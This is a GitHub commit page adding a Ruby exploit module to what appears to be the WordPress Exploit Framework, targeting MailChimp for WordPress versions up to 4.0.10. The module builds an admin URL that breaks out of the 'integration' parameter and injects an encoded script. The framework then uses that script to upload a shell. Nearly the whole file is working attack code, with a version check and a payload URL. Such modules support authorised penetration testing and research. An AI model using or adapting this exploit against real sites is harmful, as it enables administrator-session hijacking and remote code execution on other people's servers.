Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 8cc2cf4

Browse files
committed
Add MailChimp for WordPress reflected XSS shell upload
1 parent 27c6dad commit 8cc2cf4

File tree

1 file changed

+31
-0
lines changed

1 file changed

+31
-0
lines changed
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
class Wpxf::Exploit::MailchimpForWpReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'MailChimp for WordPress <= 4.0.10 Reflected XSS Shell Upload',
9+
author: [
10+
'Tom Adams', # Discovery and disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8695']
15+
],
16+
date: 'Dec 09 2016'
17+
)
18+
end
19+
20+
def check
21+
check_plugin_version_from_readme('mailchimp-for-wp', '4.0.11')
22+
end
23+
24+
def url_with_xss
25+
normalize_uri(
26+
wordpress_url_admin,
27+
'admin.php?page=mailchimp-for-wp-integrations&integration=">'\
28+
"%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E"
29+
)
30+
end
31+
end

0 commit comments

Comments
 (0)